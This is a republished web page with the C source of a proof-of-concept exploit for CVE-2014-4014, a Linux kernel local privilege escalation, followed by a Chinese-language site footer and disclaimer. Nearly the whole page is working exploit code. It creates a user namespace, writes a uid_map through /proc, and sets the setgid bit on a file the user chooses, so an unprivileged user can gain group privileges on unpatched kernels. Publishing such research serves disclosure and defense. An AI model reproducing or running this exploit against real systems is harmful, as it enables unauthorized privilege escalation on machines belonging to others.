CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
#define STACK_SIZE (1024 * 1024)
static
char
child_stack[STACK_SIZE];
struct
args {
int
pipe_fd[2];
char
*file_path;
};
static
int
child(
void
*arg) {
struct
args *f_args = (
struct
args *)arg;
char
c;
// close stdout
close(f_args->pipe_fd[1]);
assert
(read(f_args->pipe_fd[0], &c, 1) == 0);
// set the setgid bit
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
return
0;
}
int
main(
int
argc,
char
*argv[]) {
int
fd;
pid_t pid;
char
mapping[1024];
char
map_file[PATH_MAX];
struct
args f_args;
assert
(argc == 2);
f_args.file_path = argv[1];
// create a pipe for synching the child and parent
assert
(pipe(f_args.pipe_fd) != -1);
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
assert
(pid != -1);
// get the current uid outside the namespace
snprintf(mapping, 1024,
"0 %d 1\n"
, getuid());
// update uid and gid maps in the child
snprintf(map_file, PATH_MAX,
"/proc/%ld/uid_map"
, (
long
) pid);
fd = open(map_file, O_RDWR);
assert
(fd != -1);
assert
(write(fd, mapping,
strlen
(mapping)) ==
strlen
(mapping));
close(f_args.pipe_fd[1]);
assert
(waitpid(pid, NULL, 0) != -1);
}
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC,古老的榕树,5-wow.com
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。